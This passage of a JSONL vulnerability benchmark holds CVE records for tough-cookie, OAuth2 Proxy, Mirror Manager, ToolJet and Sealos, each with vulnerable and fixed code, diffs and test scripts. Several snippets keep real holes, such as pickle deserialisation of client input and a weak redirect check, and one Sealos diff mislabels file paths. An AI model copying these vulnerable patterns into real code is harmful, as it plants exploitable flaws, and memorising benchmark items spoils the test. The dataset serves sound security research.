av_value.trim().replace(/^\\./, '');\n        if (domain) {\n          // \"Convert the cookie-domain to lower case.\"\n          c.domain = domain.toLowerCase();\n        }\n      }\n      break;\n\n    case 'path': // S5.2.4\n      /*\n       * \"If the attribute-value is empty or if the first character of the\n       * attribute-value is not %x2F (\"/\"):\n       *   Let cookie-path be the default-path.\n       * Otherwise:\n       *   Let cookie-path be the attribute-value.\"\n       *\n       * We'll represent the default-path as null since it depends on the\n       * context of the parsing.\n       */\n      c.path = av_value && av_value[0] === \"/\" ? av_value : null;\n      break;\n\n    case 'secure': // S5.2.5\n      /*\n       * \"If the attribute-name case-insensitively matches the string \"Secure\",\n       * the user agent MUST append an attribute to the cookie-attribute-list\n       * with an attribute-name of Secure and an empty attribute-value.\"\n       */\n      c.secure = true;\n      break;\n\n    case 'httponly': // S5.2.6 -- effectively the same as 'secure'\n      c.httpOnly = true;\n      break;\n\n    default:\n      c.extensions = c.extensions || [];\n      c.extensions.push(av);\n      break;\n    }\n  }\n\n  return c;\n}"}], "fix_func": [{"id": "fix_js_69_1", "commit": "615627206357d997d5e6ff9da158997de05235ae", "file_path": "lib/cookie.js", "start_line": 321, "end_line": 472, "snippet": "function parse(str, options) {\n  if (!options || typeof options !== 'object') {\n    options = {};\n  }\n  str = str.trim();\n\n  // We use a regex to parse the \"name-value-pair\" part of S5.2\n  var firstSemi = str.indexOf(';'); // S5.2 step 1\n  var pairRe = options.loose ? LOOSE_COOKIE_PAIR : COOKIE_PAIR;\n  var result = pairRe.exec(firstSemi === -1 ? str : str.substr(0,firstSemi));\n\n  // Rx satisfies the \"the name string is empty\" and \"lacks a %x3D (\"=\")\"\n  // constraints as well as trimming any whitespace.\n  if (!result) {\n    return;\n  }\n\n  var c = new Cookie();\n  if (result[1]) {\n    c.key = result[2].trim();\n  } else {\n    c.key = '';\n  }\n  c.value = result[3].trim();\n  if (CONTROL_CHARS.test(c.key) || CONTROL_CHARS.test(c.value)) {\n    return;\n  }\n\n  if (firstSemi === -1) {\n    return c;\n  }\n\n  // S5.2.3 \"unparsed-attributes consist of the remainder of the set-cookie-string\n  // (including the %x3B (\";\") in question).\" plus later on in the same section\n  // \"discard the first \";\" and trim\".\n  var unparsed = str.slice(firstSemi + 1).trim();\n\n  // \"If the unparsed-attributes string is empty, skip the rest of these\n  // steps.\"\n  if (unparsed.length === 0) {\n    return c;\n  }\n\n  /*\n   * S5.2 says that when looping over the items \"[p]rocess the attribute-name\n   * and attribute-value according to the requirements in the following\n   * subsections\" for every item.  Plus, for many of the individual attributes\n   * in S5.3 it says to use the \"attribute-value of the last attribute in the\n   * cookie-attribute-list\".  Therefore, in this implementation, we overwrite\n   * the previous value.\n   */\n  var cookie_avs = unparsed.split(';');\n  while (cookie_avs.length) {\n    var av = cookie_avs.shift().trim();\n    if (av.length === 0) { // happens if \";;\" appears\n      continue;\n    }\n    var av_sep = av.indexOf('=');\n    var av_key, av_value;\n\n    if (av_sep === -1) {\n      av_key = av;\n      av_value = null;\n    } else {\n      av_key = av.substr(0,av_sep);\n      av_value = av.substr(av_sep+1);\n    }\n\n    av_key = av_key.trim().toLowerCase();\n\n    if (av_value) {\n      av_value = av_value.trim();\n    }\n\n    switch(av_key) {\n    case 'expires': // S5.2.1\n      if (av_value) {\n        var exp = parseDate(av_value);\n        // \"If the attribute-value failed to parse as a cookie date, ignore the\n        // cookie-av.\"\n        if (exp) {\n          // over and underflow not realistically a concern: V8's getTime() seems to\n          // store something larger than a 32-bit time_t (even with 32-bit node)\n          c.expires = exp;\n        }\n      }\n      break;\n\n    case 'max-age': // S5.2.2\n      if (av_value) {\n        // \"If the first character of the attribute-value is not a DIGIT or a \"-\"\n        // character ...[or]... If the remainder of attribute-value contains a\n        // non-DIGIT character, ignore the cookie-av.\"\n        if (/^-?[0-9]+$/.test(av_value)) {\n          var delta = parseInt(av_value, 10);\n          // \"If delta-seconds is less than or equal to zero (0), let expiry-time\n          // be the earliest representable date and time.\"\n          c.setMaxAge(delta);\n        }\n      }\n      break;\n\n    case 'domain': // S5.2.3\n      // \"If the attribute-value is empty, the behavior is undefined.  However,\n      // the user agent SHOULD ignore the cookie-av entirely.\"\n      if (av_value) {\n        // S5.2.3 \"Let cookie-domain be the attribute-value without the leading %x2E\n        // (\".\") character.\"\n        var domain = av_value.trim().replace(/^\\./, '');\n        if (domain) {\n          // \"Convert the cookie-domain to lower case.\"\n          c.domain = domain.toLowerCase();\n        }\n      }\n      break;\n\n    case 'path': // S5.2.4\n      /*\n       * \"If the attribute-value is empty or if the first character of the\n       * attribute-value is not %x2F (\"/\"):\n       *   Let cookie-path be the default-path.\n       * Otherwise:\n       *   Let cookie-path be the attribute-value.\"\n       *\n       * We'll represent the default-path as null since it depends on the\n       * context of the parsing.\n       */\n      c.path = av_value && av_value[0] === \"/\" ? av_value : null;\n      break;\n\n    case 'secure': // S5.2.5\n      /*\n       * \"If the attribute-name case-insensitively matches the string \"Secure\",\n       * the user agent MUST append an attribute to the cookie-attribute-list\n       * with an attribute-name of Secure and an empty attribute-value.\"\n       */\n      c.secure = true;\n      break;\n\n    case 'httponly': // S5.2.6 -- effectively the same as 'secure'\n      c.httpOnly = true;\n      break;\n\n    default:\n      c.extensions = c.extensions || [];\n      c.extensions.push(av);\n      break;\n    }\n  }\n\n  return c;\n}"}], "vul_patch": "--- a/lib/cookie.js\n+++ b/lib/cookie.js\n@@ -3,12 +3,6 @@\n     options = {};\n   }\n   str = str.trim();\n-\n-  // S4.1.1 Trailing semi-colons are not part of the specification.\n-  var semiColonCheck = TRAILING_SEMICOLON.exec(str);\n-  if (semiColonCheck) {\n-    str = str.slice(0, semiColonCheck.index);\n-  }\n \n   // We use a regex to parse the \"name-value-pair\" part of S5.2\n   var firstSemi = str.indexOf(';'); // S5.2 step 1\n@@ -39,7 +33,7 @@\n   // S5.2.3 \"unparsed-attributes consist of the remainder of the set-cookie-string\n   // (including the %x3B (\";\") in question).\" plus later on in the same section\n   // \"discard the first \";\" and trim\".\n-  var unparsed = str.slice(firstSemi).replace(/^\\s*;\\s*/,'').trim();\n+  var unparsed = str.slice(firstSemi + 1).trim();\n \n   // \"If the unparsed-attributes string is empty, skip the rest of these\n   // steps.\"\n@@ -55,9 +49,12 @@\n    * cookie-attribute-list\".  Therefore, in this implementation, we overwrite\n    * the previous value.\n    */\n-  var cookie_avs = unparsed.split(/\\s*;\\s*/);\n+  var cookie_avs = unparsed.split(';');\n   while (cookie_avs.length) {\n-    var av = cookie_avs.shift();\n+    var av = cookie_avs.shift().trim();\n+    if (av.length === 0) { // happens if \";;\" appears\n+      continue;\n+    }\n     var av_sep = av.indexOf('=');\n     var av_key, av_value;\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2016-1000232:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/tough-cookie\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx vows -m \"way too many semicolons followed by non-semicolon\" test/parsing_test.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2016-1000232:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/tough-cookie\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx vows  test/parsing_test.js\n"}
{"cve_id": "CVE-2020-4037", "cve_description": "In OAuth2 Proxy from version 5.1.1 and less than version 6.0.0, users can provide a redirect address for the proxy to send the authenticated user to at the end of the authentication flow. This is expected to be the original URL that the user was trying to access. This redirect URL is checked within the proxy and validated before redirecting the user to prevent malicious actors providing redirects to potentially harmful sites. This has been fixed in version 6.0.0.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/oauth2-proxy/oauth2-proxy", "patch_url": ["https://github.com/oauth2-proxy/oauth2-proxy/commit/ee5662e0f5001d76ec76562bb605abbd07c266a2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_15_1", "commit": "1b6c54c", "file_path": "oauthproxy.go", "start_line": 60, "end_line": 67, "snippet": "var (\n\t// ErrNeedsLogin means the user should be redirected to the login page\n\tErrNeedsLogin = errors.New(\"redirect to login page\")\n\n\t// Used to check final redirects are not susceptible to open redirects.\n\t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n\tinvalidRedirectRegex = regexp.MustCompile(`^/(\\s|\\v)?(/|\\\\)`)\n)"}], "fix_func": [{"id": "fix_go_15_1", "commit": "ee5662e", "file_path": "oauthproxy.go", "start_line": 60, "end_line": 67, "snippet": "var (\n\t// ErrNeedsLogin means the user should be redirected to the login page\n\tErrNeedsLogin = errors.New(\"redirect to login page\")\n\n\t// Used to check final redirects are not susceptible to open redirects.\n\t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n\tinvalidRedirectRegex = regexp.MustCompile(`[/\\\\](?:[\\s\\v]*|\\.{1,2})[/\\\\]`)\n)"}], "vul_patch": "--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -4,5 +4,5 @@\n \n \t// Used to check final redirects are not susceptible to open redirects.\n \t// Matches //, /\\ and both of these with whitespace in between (eg / / or / \\).\n-\tinvalidRedirectRegex = regexp.MustCompile(`^/(\\s|\\v)?(/|\\\\)`)\n+\tinvalidRedirectRegex = regexp.MustCompile(`[/\\\\](?:[\\s\\v]*|\\.{1,2})[/\\\\]`)\n )\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-4037:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oauth2-proxy\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nsed -i '4d;15d;439,481d' oauthproxy_test.go\ngo test   -timeout 30s -run ^TestIsValidRedirect$ github.com/oauth2-proxy/oauth2-proxy\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-4037:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/oauth2-proxy\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -v -timeout 30s "}
{"cve_id": "CVE-2016-1000003", "cve_description": "Mirror Manager version 0.7.2 and older is vulnerable to remote code execution in the checkin code.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}}, "repo": "https://github.com/fedora-infra/mirrormanager2", "patch_url": ["https://github.com/fedora-infra/mirrormanager2/commit/2e227f6023477cbdbefd577f15d0846aa40c8775"], "programing_language": "Python", "vul_func": [{"id": "vul_py_113_1", "commit": "f21c59d", "file_path": "mirrormanager2/xmlrpc.py", "start_line": 43, "end_line": 49, "snippet": "def checkin(pickledata):\n    config = pickle.loads(bz2.decompress(base64.urlsafe_b64decode(pickledata)))\n    r, message = read_host_config(SESSION, config)\n    if r is not None:\n        return message + 'checked in successful'\n    else:\n        return message + 'error checking in'"}], "fix_func": [{"id": "fix_py_113_1", "commit": "2e227f6", "file_path": "mirrormanager2/xmlrpc.py", "start_line": 44, "end_line": 54, "snippet": "def checkin(pickledata):\n    uncompressed = bz2.decompress(base64.urlsafe_b64decode(pickledata))\n    try:\n        config = json.loads(uncompressed)\n    except ValueError:\n        config = pickle.loads(uncompressed)\n    r, message = read_host_config(SESSION, config)\n    if r is not None:\n        return message + 'checked in successful'\n    else:\n        return message + 'error checking in'"}], "vul_patch": "--- a/mirrormanager2/xmlrpc.py\n+++ b/mirrormanager2/xmlrpc.py\n@@ -1,5 +1,9 @@\n def checkin(pickledata):\n-    config = pickle.loads(bz2.decompress(base64.urlsafe_b64decode(pickledata)))\n+    uncompressed = bz2.decompress(base64.urlsafe_b64decode(pickledata))\n+    try:\n+        config = json.loads(uncompressed)\n+    except ValueError:\n+        config = pickle.loads(uncompressed)\n     r, message = read_host_config(SESSION, config)\n     if r is not None:\n         return message + 'checked in successful'\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2631", "cve_description": "Improper Access Control in GitHub repository tooljet/tooljet prior to v1.19.0.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/tooljet/tooljet", "patch_url": ["https://github.com/tooljet/tooljet/commit/b9fa229bcae356cbb33300b31483e97e6ea140a7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_298_1", "commit": "421298faaa6c653925288ddeaac60a570a0f04e5", "file_path": "server/src/services/users.service.ts", "start_line": 143, "end_line": 175, "snippet": "  async update(userId: string, params: any, manager?: EntityManager, organizationId?: string) {\n    const { forgotPasswordToken, password, firstName, lastName, addGroups, removeGroups } = params;\n\n    const hashedPassword = password ? bcrypt.hashSync(password, 10) : undefined;\n\n    const updatableParams = {\n      forgotPasswordToken,\n      firstName,\n      lastName,\n      password: hashedPassword,\n    };\n\n    // removing keys with undefined values\n    cleanObject(updatableParams);\n\n    await this.updateUser(userId, updatableParams);\n    const user = await this.findOne(userId);\n\n    const performUpdateInTransaction = async (manager) => {\n      await this.removeUserGroupPermissionsIfExists(manager, user, removeGroups, organizationId);\n      await this.addUserGroupPermissions(manager, user, addGroups, organizationId);\n    };\n\n    if (manager) {\n      await performUpdateInTransaction(manager);\n    } else {\n      await getManager().transaction(async (manager) => {\n        await performUpdateInTransaction(manager);\n      });\n    }\n\n    return user;\n  }"}], "fix_func": [{"id": "fix_js_298_1", "commit": "b9fa229bcae356cbb33300b31483e97e6ea140a7", "file_path": "server/src/services/users.service.ts", "start_line": 143, "end_line": 176, "snippet": "  async update(userId: string, params: any, manager?: EntityManager, organizationId?: string) {\n    const { forgotPasswordToken, password, firstName, lastName, addGroups, removeGroups } = params;\n\n    const hashedPassword = password ? bcrypt.hashSync(password, 10) : undefined;\n\n    const updatableParams = {\n      forgotPasswordToken,\n      firstName,\n      lastName,\n      password: hashedPassword,\n    };\n\n    // removing keys with undefined values\n    cleanObject(updatableParams);\n\n    let user: User;\n\n    const performUpdateInTransaction = async (manager) => {\n      await manager.update(User, userId, updatableParams);\n      user = await manager.findOne(User, { where: { id: userId } });\n      await this.removeUserGroupPermissionsIfExists(manager, user, removeGroups, organizationId);\n      await this.addUserGroupPermissions(manager, user, addGroups, organizationId);\n    };\n\n    if (manager) {\n      await performUpdateInTransaction(manager);\n    } else {\n      await getManager().transaction(async (manager) => {\n        await performUpdateInTransaction(manager);\n      });\n    }\n\n    return user;\n  }"}], "vul_patch": "--- a/server/src/services/users.service.ts\n+++ b/server/src/services/users.service.ts\n@@ -13,10 +13,11 @@\n     // removing keys with undefined values\n     cleanObject(updatableParams);\n \n-    await this.updateUser(userId, updatableParams);\n-    const user = await this.findOne(userId);\n+    let user: User;\n \n     const performUpdateInTransaction = async (manager) => {\n+      await manager.update(User, userId, updatableParams);\n+      user = await manager.findOne(User, { where: { id: userId } });\n       await this.removeUserGroupPermissionsIfExists(manager, user, removeGroups, organizationId);\n       await this.addUserGroupPermissions(manager, user, addGroups, organizationId);\n     };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-33190", "cve_description": "Sealos is an open source cloud operating system distribution based on the Kubernetes kernel. In versions of Sealos prior to 4.2.1-rc4 an improper configuration of role based access control (RBAC) permissions resulted in an attacker being able to obtain cluster control permissions, which could control the entire cluster deployed with Sealos, as well as hundreds of pods and other resources within the cluster. This issue has been addressed in version 4.2.1-rc4. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/labring/sealos", "patch_url": ["https://github.com/labring/sealos/commit/4cdf52e55666864e5f90ed502e9fc13e18985b7b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_133_1", "commit": "0007374", "file_path": "controllers/user/main.go", "start_line": 54, "end_line": 158, "snippet": "func main() {\n\tvar metricsAddr string\n\tvar enableLeaderElection bool\n\tvar probeAddr string\n\tflag.StringVar(&metricsAddr, \"metrics-bind-address\", \":8080\", \"The address the metric endpoint binds to.\")\n\tflag.StringVar(&probeAddr, \"health-probe-bind-address\", \":8081\", \"The address the probe endpoint binds to.\")\n\tflag.BoolVar(&enableLeaderElection, \"leader-elect\", false,\n\t\t\"Enable leader election for controller manager. \"+\n\t\t\t\"Enabling this will ensure there is only one active controller manager.\")\n\n\topts := zap.Options{\n\t\tDevelopment: true,\n\t}\n\topts.BindFlags(flag.CommandLine)\n\tflag.Parse()\n\n\tctrl.SetLogger(zap.New(zap.UseFlagOptions(&opts)))\n\n\tmgr, err := ctrl.NewManager(ctrl.GetConfigOrDie(), ctrl.Options{\n\t\tScheme:                 scheme,\n\t\tMetricsBindAddress:     metricsAddr,\n\t\tPort:                   9443,\n\t\tHealthProbeBindAddress: probeAddr,\n\t\tLeaderElection:         enableLeaderElection,\n\t\tLeaderElectionID:       \"785548a1.sealos.io\",\n\t\t// LeaderElectionReleaseOnCancel defines if the leader should step down voluntarily\n\t\t// when the Manager ends. This requires the binary to immediately end when the\n\t\t// Manager is stopped, otherwise, this setting is unsafe. Setting this significantly\n\t\t// speeds up voluntary leader transitions as the new leader don't have to wait\n\t\t// LeaseDuration time first.\n\t\t//\n\t\t// In the default scaffold provided, the program ends immediately after\n\t\t// the manager stops, so would be fine to enable this option. However,\n\t\t// if you are doing or is intended to do any operation such as perform cleanups\n\t\t// after the manager stops then its usage might be unsafe.\n\t\t// LeaderElectionReleaseOnCancel: true,\n\t})\n\tif err != nil {\n\t\tsetupLog.Error(err, \"unable to start manager\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserReconciler{}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"User\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserGroupReconciler{}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"UserGroup\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserGroupBindingReconciler{\n\t\tClient: mgr.GetClient(),\n\t\tScheme: mgr.GetScheme(),\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"UserGroupBinding\")\n\t\tos.Exit(1)\n\t}\n\n\t//if err = (&controllers.UserExpirationReconciler{\n\t//\tClient: mgr.GetClient(),\n\t//\tScheme: mgr.GetScheme(),\n\t//}).SetupWithManager(mgr); err != nil {\n\t//\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"Secret\")\n\t//\tos.Exit(1)\n\t//}\n\n\tif err = cache.SetupCache(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to cache controller\")\n\t\tos.Exit(1)\n\t}\n\tif os.Getenv(\"DISABLE_WEBHOOKS\") == \"true\" {\n\t\tsetupLog.Info(\"disable all webhooks\")\n\t} else {\n\t\tif err = (&userv1.User{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"User\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tsetupLog.Info(\"add ug and ugb webhooks\")\n\t\tif err = (&userv1.UserGroup{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"UserGroup\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tif err = (&userv1.UserGroupBinding{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"UserGroupBinding\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t//+kubebuilder:scaffold:builder\n\n\tif err := mgr.AddHealthzCheck(\"healthz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up health check\")\n\t\tos.Exit(1)\n\t}\n\tif err := mgr.AddReadyzCheck(\"readyz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up ready check\")\n\t\tos.Exit(1)\n\t}\n\tctx, cancel := context.WithCancel(context.TODO())\n\tdefer cancel()\n\tsetupLog.Info(\"starting manager\")\n\tif err = mgr.Start(ctx); err != nil {\n\t\tsetupLog.Error(err, \"failed to running manager\")\n\t\tos.Exit(1)\n\t}\n}"}], "fix_func": [{"id": "fix_go_133_1", "commit": "4cdf52e", "file_path": "controllers/user/main.go", "start_line": 54, "end_line": 166, "snippet": "func main() {\n\tvar metricsAddr string\n\tvar enableLeaderElection bool\n\tvar probeAddr string\n\tflag.StringVar(&metricsAddr, \"metrics-bind-address\", \":8080\", \"The address the metric endpoint binds to.\")\n\tflag.StringVar(&probeAddr, \"health-probe-bind-address\", \":8081\", \"The address the probe endpoint binds to.\")\n\tflag.BoolVar(&enableLeaderElection, \"leader-elect\", false,\n\t\t\"Enable leader election for controller manager. \"+\n\t\t\t\"Enabling this will ensure there is only one active controller manager.\")\n\n\topts := zap.Options{\n\t\tDevelopment: true,\n\t}\n\topts.BindFlags(flag.CommandLine)\n\tflag.Parse()\n\n\tctrl.SetLogger(zap.New(zap.UseFlagOptions(&opts)))\n\n\tmgr, err := ctrl.NewManager(ctrl.GetConfigOrDie(), ctrl.Options{\n\t\tScheme:                 scheme,\n\t\tMetricsBindAddress:     metricsAddr,\n\t\tPort:                   9443,\n\t\tHealthProbeBindAddress: probeAddr,\n\t\tLeaderElection:         enableLeaderElection,\n\t\tLeaderElectionID:       \"785548a1.sealos.io\",\n\t\t// LeaderElectionReleaseOnCancel defines if the leader should step down voluntarily\n\t\t// when the Manager ends. This requires the binary to immediately end when the\n\t\t// Manager is stopped, otherwise, this setting is unsafe. Setting this significantly\n\t\t// speeds up voluntary leader transitions as the new leader don't have to wait\n\t\t// LeaseDuration time first.\n\t\t//\n\t\t// In the default scaffold provided, the program ends immediately after\n\t\t// the manager stops, so would be fine to enable this option. However,\n\t\t// if you are doing or is intended to do any operation such as perform cleanups\n\t\t// after the manager stops then its usage might be unsafe.\n\t\t// LeaderElectionReleaseOnCancel: true,\n\t})\n\tif err != nil {\n\t\tsetupLog.Error(err, \"unable to start manager\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserReconciler{}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"User\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserGroupReconciler{}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"UserGroup\")\n\t\tos.Exit(1)\n\t}\n\tif err = (&controllers.UserGroupBindingReconciler{\n\t\tClient: mgr.GetClient(),\n\t\tScheme: mgr.GetScheme(),\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"UserGroupBinding\")\n\t\tos.Exit(1)\n\t}\n\n\tif err = (&controllers.NamespaceReconciler{\n\t\tClient: mgr.GetClient(),\n\t\tScheme: mgr.GetScheme(),\n\t}).SetupWithManager(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"Namespace\")\n\t\tos.Exit(1)\n\t}\n\n\t//if err = (&controllers.UserExpirationReconciler{\n\t//\tClient: mgr.GetClient(),\n\t//\tScheme: mgr.GetScheme(),\n\t//}).SetupWithManager(mgr); err != nil {\n\t//\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"Secret\")\n\t//\tos.Exit(1)\n\t//}\n\n\tif err = cache.SetupCache(mgr); err != nil {\n\t\tsetupLog.Error(err, \"unable to cache controller\")\n\t\tos.Exit(1)\n\t}\n\tif os.Getenv(\"DISABLE_WEBHOOKS\") == \"true\" {\n\t\tsetupLog.Info(\"disable all webhooks\")\n\t} else {\n\t\tif err = (&userv1.User{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"User\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tsetupLog.Info(\"add ug and ugb webhooks\")\n\t\tif err = (&userv1.UserGroup{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"UserGroup\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tif err = (&userv1.UserGroupBinding{}).SetupWebhookWithManager(mgr); err != nil {\n\t\t\tsetupLog.Error(err, \"unable to create webhook\", \"webhook\", \"UserGroupBinding\")\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t//+kubebuilder:scaffold:builder\n\n\tif err := mgr.AddHealthzCheck(\"healthz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up health check\")\n\t\tos.Exit(1)\n\t}\n\tif err := mgr.AddReadyzCheck(\"readyz\", healthz.Ping); err != nil {\n\t\tsetupLog.Error(err, \"unable to set up ready check\")\n\t\tos.Exit(1)\n\t}\n\tctx, cancel := context.WithCancel(context.TODO())\n\tdefer cancel()\n\tsetupLog.Info(\"starting manager\")\n\tif err = mgr.Start(ctx); err != nil {\n\t\tsetupLog.Error(err, \"failed to running manager\")\n\t\tos.Exit(1)\n\t}\n}"}, {"id": "fix_go_133_2", "commit": "4cdf52e", "file_path": "controllers/user/controllers/namespace_controller.go", "start_line": 36, "end_line": 41, "snippet": "type NamespaceReconciler struct {\n\tLogger   logr.Logger\n\tRecorder record.EventRecorder\n\t*runtime.Scheme\n\tclient.Client\n}"}, {"id": "fix_go_133_3", "commit": "4cdf52e", "file_path": "controllers/user/controllers/namespace_controller.go", "start_line": 52, "end_line": 81, "snippet": "func (r *NamespaceReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {\n\tr.Logger.V(1).Info(\"start reconcile for ns\")\n\tns := &v1.Namespace{}\n\tif err := r.Get(ctx, req.NamespacedName, ns); err != nil {\n\t\treturn ctrl.Result{}, client.IgnoreNotFound(err)\n\t}\n\n\tif strings.HasPrefix(ns.Name, \"ns-\") {\n\t\terr := retry.RetryOnConflict(retry.DefaultRetry, func() error {\n\t\t\tchange, err := controllerutil.CreateOrUpdate(ctx, r.Client, ns, func() error {\n\t\t\t\tif ns.Labels == nil {\n\t\t\t\t\tns.Labels = map[string]string{}\n\t\t\t\t}\n\t\t\t\tns.Labels = helper.SetPodSecurity(ns.Labels)\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tr.Logger.V(1).Info(\"create or update ns\", \"change\", change, \"ns\", ns.Name)\n\t\t\treturn nil\n\t\t})\n\t\tif err != nil {\n\t\t\tr.Logger.Error(err, \"create or update ns error\", \"ns\", ns.Name)\n\t\t\treturn ctrl.Result{}, err\n\t\t}\n\t}\n\n\treturn ctrl.Result{}, nil\n}"}, {"id": "fix_go_133_4", "commit": "4cdf52e", "file_path": "controllers/user/controllers/namespace_controller.go", "start_line": 84, "end_line": 99, "snippet": "func (r *NamespaceReconciler) SetupWithManager(mgr ctrl.Manager) error {\n\tconst controllerName = \"namespace_controller\"\n\tif r.Client == nil {\n\t\tr.Client = mgr.GetClient()\n\t}\n\tr.Logger = ctrl.Log.WithName(controllerName)\n\tif r.Recorder == nil {\n\t\tr.Recorder = mgr.GetEventRecorderFor(controllerName)\n\t}\n\tr.Scheme = mgr.GetScheme()\n\tr.Logger.V(1).Info(\"init reconcile controller namespace\")\n\treturn ctrl.NewControllerManagedBy(mgr).\n\t\tFor(&v1.Namespace{}, builder.WithPredicates(\n\t\t\tpredicate.Or(predicate.AnnotationChangedPredicate{}, predicate.LabelChangedPredicate{}))).\n\t\tComplete(r)\n}"}], "vul_patch": "--- a/controllers/user/main.go\n+++ b/controllers/user/main.go\n@@ -55,6 +55,14 @@\n \t\tos.Exit(1)\n \t}\n \n+\tif err = (&controllers.NamespaceReconciler{\n+\t\tClient: mgr.GetClient(),\n+\t\tScheme: mgr.GetScheme(),\n+\t}).SetupWithManager(mgr); err != nil {\n+\t\tsetupLog.Error(err, \"unable to create controller\", \"controller\", \"Namespace\")\n+\t\tos.Exit(1)\n+\t}\n+\n \t//if err = (&controllers.UserExpirationReconciler{\n \t//\tClient: mgr.GetClient(),\n \t//\tScheme: mgr.GetScheme(),\n\n--- /dev/null\n+++ b/controllers/user/main.go\n@@ -0,0 +1,6 @@\n+type NamespaceReconciler struct {\n+\tLogger   logr.Logger\n+\tRecorder record.EventRecorder\n+\t*runtime.Scheme\n+\tclient.Client\n+}\n\n--- /dev/null\n+++ b/controllers/user/main.go\n@@ -0,0 +1,30 @@\n+func (r *NamespaceReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {\n+\tr.Logger.V(1).Info(\"start reconcile for ns\")\n+\tns := &v1.Namespace{}\n+\tif err := r.Get(ctx, req.NamespacedName, ns); err != nil {\n+\t\treturn ctrl.Result{}, client.IgnoreNotFound(err)\n+\t}\n+\n+\tif strings.HasPrefix(ns.Name, \"ns-\") {\n+\t\terr := retry.RetryOnConflict(retry.DefaultRetry, func() error {\n+\t\t\tchange, err := controllerutil.CreateOrUpdate(ctx, r.Client, ns, func() error {\n+\t\t\t\tif ns.Labels == nil {\n+\t\t\t\t\tns.Labels = map[string]string{}\n+\t\t\t\t}\n+\t\t\t\tns.Labels = helper.SetPodSecurity(ns.Labels)\n+\t\t\t\treturn nil\n+\t\t\t})\n+\t\t\tif err != nil {\n+\t\t\t\treturn err\n+\t\t\t}\n+\t\t\tr.Logger.V(1).Info(\"create or update ns\", \"change\", change, \"ns\", 